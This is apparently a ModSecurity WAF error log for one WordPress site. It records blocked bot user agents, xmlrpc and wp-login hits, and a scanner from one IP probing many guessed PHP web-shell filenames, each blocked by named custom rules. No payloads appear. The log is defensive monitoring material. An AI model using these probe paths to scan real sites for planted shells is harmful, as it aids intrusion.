[Tue Mar 17 03:08:57.332725 2026] [:error] [pid 3200:tid 3214] [client 217.216.37.50:64218] [client 217.216.37.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abhVSVFOeKiNLMuAjedXfgAAAQw"]
[Tue Mar 17 03:08:57.523870 2026] [:error] [pid 45652:tid 45679] [client 217.216.37.50:51596] [client 217.216.37.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "abhVSfeWZ4w4tc07R6lrzAAAANg"]
[Tue Mar 17 04:25:13.630156 2026] [:error] [pid 22541:tid 22550] [client 43.140.247.223:59982] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abhnKaS6JNY1-CTsTA-5XwAAAQQ"]
[Tue Mar 17 05:51:32.636166 2026] [:error] [pid 46020:tid 46038] [client 170.106.180.246:46244] [client 170.106.180.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abh7ZH-nCcd9BdzGdLftVQAAANA"]
[Tue Mar 17 06:32:29.533464 2026] [:error] [pid 46020:tid 46042] [client 105.242.174.60:49209] [client 105.242.174.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.242.174.60, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abiE_X-nCcd9BdzGdLcFqQAAANQ"]
[Tue Mar 17 07:56:11.057126 2026] [:error] [pid 46020:tid 46037] [client 185.223.152.254:44025] [client 185.223.152.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.254, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abiYm3-nCcd9BdzGdLdBPwAAAM8"]
[Tue Mar 17 09:27:52.416768 2026] [:error] [pid 15013:tid 15089] [client 72.146.42.181:32427] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/yaiid.php"] [unique_id "abiuGFZc-p7DonmJmm2rjAAAAgw"]
[Tue Mar 17 09:27:53.635878 2026] [:error] [pid 45915:tid 45943] [client 72.146.42.181:11238] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/yaiid.php"] [unique_id "abiuGZh7U84ydzcrcnc79wAAAA4"]
[Tue Mar 17 09:27:54.996039 2026] [:error] [pid 15013:tid 15078] [client 72.146.42.181:20532] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/yaiid.php"] [unique_id "abiuGlZc-p7DonmJmm2rjwAAAgE"]
[Tue Mar 17 09:27:56.746749 2026] [:error] [pid 46020:tid 46028] [client 72.146.42.181:1587] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/yaiid.php"] [unique_id "abiuHH-nCcd9BdzGdLdMqAAAAMY"]
[Tue Mar 17 09:27:57.559212 2026] [:error] [pid 46020:tid 46030] [client 72.146.42.181:16149] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "abiuHX-nCcd9BdzGdLdMqQAAAMg"]
[Tue Mar 17 09:27:58.894875 2026] [:error] [pid 15011:tid 15053] [client 72.146.42.181:27761] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "abiuHsNtgHlAHiPlDyoXOwAAAcQ"]
[Tue Mar 17 09:28:01.808799 2026] [:error] [pid 45916:tid 45967] [client 72.146.42.181:12411] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "abiuIbiS53PnClk_C9BKcwAAAEU"]
[Tue Mar 17 09:28:02.671897 2026] [:error] [pid 45915:tid 45946] [client 72.146.42.181:16137] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "abiuIph7U84ydzcrcnc7_wAAABE"]
[Tue Mar 17 09:28:03.489400 2026] [:error] [pid 14817:tid 14850] [client 72.146.42.181:33265] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "abiuI-BWVgTpR3dKOga2hwAAAVg"]
[Tue Mar 17 09:28:04.680075 2026] [:error] [pid 46020:tid 46038] [client 72.146.42.181:55770] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "abiuJH-nCcd9BdzGdLdMrgAAANA"]
[Tue Mar 17 09:28:06.156866 2026] [:error] [pid 15162:tid 15185] [client 72.146.42.181:36543] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "abiuJrkCW4399PnBfYSfYQAAAlI"]
[Tue Mar 17 09:28:07.166506 2026] [:error] [pid 45916:tid 45971] [client 72.146.42.181:36543] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "abiuJ7iS53PnClk_C9BKhwAAAEk"]
[Tue Mar 17 09:28:10.101365 2026] [:error] [pid 22541:tid 22559] [client 72.146.42.181:17781] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "abiuKqS6JNY1-CTsTA9IQAAAAQ0"]
[Tue Mar 17 09:28:11.612473 2026] [:error] [pid 45915:tid 45947] [client 72.146.42.181:60331] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "abiuK5h7U84ydzcrcnc8CQAAABI"]
[Tue Mar 17 09:28:12.521169 2026] [:error] [pid 45917:tid 45995] [client 72.146.42.181:47941] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "abiuLBMMhmeqL5fT_he3SQAAAIY"]
[Tue Mar 17 09:28:14.517452 2026] [:error] [pid 14929:tid 14936] [client 72.146.42.181:33709] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "abiuLvTUDuLSLjNnyauq1QAAAYA"]
[Tue Mar 17 09:28:15.233201 2026] [:error] [pid 14817:tid 14832] [client 72.146.42.181:33697] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fss.php"] [unique_id "abiuL-BWVgTpR3dKOga2jQAAAUY"]
[Tue Mar 17 09:28:15.951350 2026] [:error] [pid 45917:tid 46012] [client 72.146.42.181:39463] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fss.php"] [unique_id "abiuLxMMhmeqL5fT_he3SgAAAJc"]
[Tue Mar 17 09:28:17.342520 2026] [:error] [pid 45916:tid 45968] [client 72.146.42.181:17737] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fss.php"] [unique_id "abiuMbiS53PnClk_C9BKkAAAAEY"]
[Tue Mar 17 09:28:18.349904 2026] [:error] [pid 45915:tid 45936] [client 72.146.42.181:12060] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fss.php"] [unique_id "abiuMph7U84ydzcrcnc8FAAAAAc"]
[Tue Mar 17 09:28:19.098598 2026] [:error] [pid 45915:tid 45942] [client 72.146.42.181:40705] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "abiuM5h7U84ydzcrcnc8GQAAAA0"]
[Tue Mar 17 09:28:19.942836 2026] [:error] [pid 45915:tid 45944] [client 72.146.42.181:1055] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "abiuM5h7U84ydzcrcnc8HQAAAA8"]
[Tue Mar 17 09:28:20.435387 2026] [:error] [pid 15011:tid 15052] [client 72.146.42.181:15172] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "abiuNMNtgHlAHiPlDyoXQwAAAcM"]
[Tue Mar 17 09:28:21.019768 2026] [:error] [pid 22541:tid 22565] [client 72.146.42.181:1050] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "abiuNaS6JNY1-CTsTA9ITgAAARM"]
[Tue Mar 17 09:28:21.740472 2026] [:error] [pid 15162:tid 15180] [client 72.146.42.181:27657] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utky.php"] [unique_id "abiuNbkCW4399PnBfYSfZAAAAk0"]
[Tue Mar 17 09:28:22.284020 2026] [:error] [pid 45915:tid 45948] [client 72.146.42.181:33724] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utky.php"] [unique_id "abiuNph7U84ydzcrcnc8JAAAABM"]
[Tue Mar 17 09:28:23.145111 2026] [:error] [pid 46020:tid 46042] [client 72.146.42.181:40734] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utky.php"] [unique_id "abiuN3-nCcd9BdzGdLdMswAAANQ"]
[Tue Mar 17 09:28:23.880479 2026] [:error] [pid 45915:tid 45940] [client 72.146.42.181:28702] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utky.php"] [unique_id "abiuN5h7U84ydzcrcnc8JgAAAAs"]
[Tue Mar 17 09:28:24.766625 2026] [:error] [pid 45915:tid 45951] [client 72.146.42.181:33718] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "abiuOJh7U84ydzcrcnc8KQAAABY"]
[Tue Mar 17 09:28:25.448184 2026] [:error] [pid 46020:tid 46041] [client 72.146.42.181:1135] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "abiuOX-nCcd9BdzGdLdMtgAAANM"]
[Tue Mar 17 09:28:26.729648 2026] [:error] [pid 15013:tid 15093] [client 72.146.42.181:27693] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "abiuOlZc-p7DonmJmm2rowAAAhA"]
[Tue Mar 17 09:28:28.392508 2026] [:error] [pid 14817:tid 14827] [client 72.146.42.181:13592] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "abiuPOBWVgTpR3dKOga2kQAAAUE"]
[Tue Mar 17 09:28:29.105207 2026] [:error] [pid 45916:tid 45984] [client 72.146.42.181:17209] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gkl.php"] [unique_id "abiuPbiS53PnClk_C9BKmQAAAFY"]
[Tue Mar 17 09:28:29.719644 2026] [:error] [pid 14817:tid 14850] [client 72.146.42.181:54398] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gkl.php"] [unique_id "abiuPeBWVgTpR3dKOga2kgAAAVg"]
[Tue Mar 17 09:28:30.531508 2026] [:error] [pid 14817:tid 14848] [client 72.146.42.181:21007] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gkl.php"] [unique_id "abiuPuBWVgTpR3dKOga2lQAAAVY"]
[Tue Mar 17 09:28:31.559280 2026] [:error] [pid 45915:tid 45949] [client 72.146.42.181:13599] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gkl.php"] [unique_id "abiuP5h7U84ydzcrcnc8LQAAABQ"]
[Tue Mar 17 09:28:32.596439 2026] [:error] [pid 46020:tid 46027] [client 72.146.42.181:9442] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "abiuQH-nCcd9BdzGdLdMvQAAAMU"]
[Tue Mar 17 09:28:34.322727 2026] [:error] [pid 46020:tid 46030] [client 72.146.42.181:19492] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "abiuQn-nCcd9BdzGdLdMvgAAAMg"]
[Tue Mar 17 09:28:35.543444 2026] [:error] [pid 15162:tid 15186] [client 72.146.42.181:19502] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "abiuQ7kCW4399PnBfYSfbwAAAlM"]
[Tue Mar 17 09:28:36.713371 2026] [:error] [pid 45915:tid 45937] [client 72.146.42.181:38073] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "abiuRJh7U84ydzcrcnc8MgAAAAg"]
[Tue Mar 17 09:28:37.353654 2026] [:error] [pid 45916:tid 45970] [client 72.146.42.181:14449] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "abiuRbiS53PnClk_C9BKqQAAAEg"]
[Tue Mar 17 09:28:38.229802 2026] [:error] [pid 15011:tid 15050] [client 72.146.42.181:1977] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "abiuRsNtgHlAHiPlDyoXSgAAAcE"]
[Tue Mar 17 09:28:38.978100 2026] [:error] [pid 22541:tid 22569] [client 72.146.42.181:14397] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "abiuRqS6JNY1-CTsTA9IVgAAARc"]
[Tue Mar 17 09:28:39.987502 2026] [:error] [pid 14929:tid 14960] [client 72.146.42.181:37667] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "abiuR_TUDuLSLjNnyauq2AAAAZg"]
[Tue Mar 17 09:28:41.095305 2026] [:error] [pid 45917:tid 45997] [client 72.146.42.181:16717] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yifsx.php"] [unique_id "abiuSRMMhmeqL5fT_he3TgAAAIg"]
[Tue Mar 17 09:28:42.347695 2026] [:error] [pid 14817:tid 14830] [client 72.146.42.181:16710] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yifsx.php"] [unique_id "abiuSuBWVgTpR3dKOga2nAAAAUQ"]
[Tue Mar 17 09:28:44.331055 2026] [:error] [pid 14929:tid 14954] [client 72.146.42.181:38868] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yifsx.php"] [unique_id "abiuTPTUDuLSLjNnyauq3AAAAZI"]
[Tue Mar 17 09:28:48.719980 2026] [:error] [pid 14817:tid 14845] [client 72.146.42.181:26286] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yifsx.php"] [unique_id "abiuUOBWVgTpR3dKOga2qQAAAVM"]
[Tue Mar 17 09:28:50.388956 2026] [:error] [pid 45916:tid 45981] [client 72.146.42.181:33777] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "abiuUriS53PnClk_C9BKsAAAAFM"]
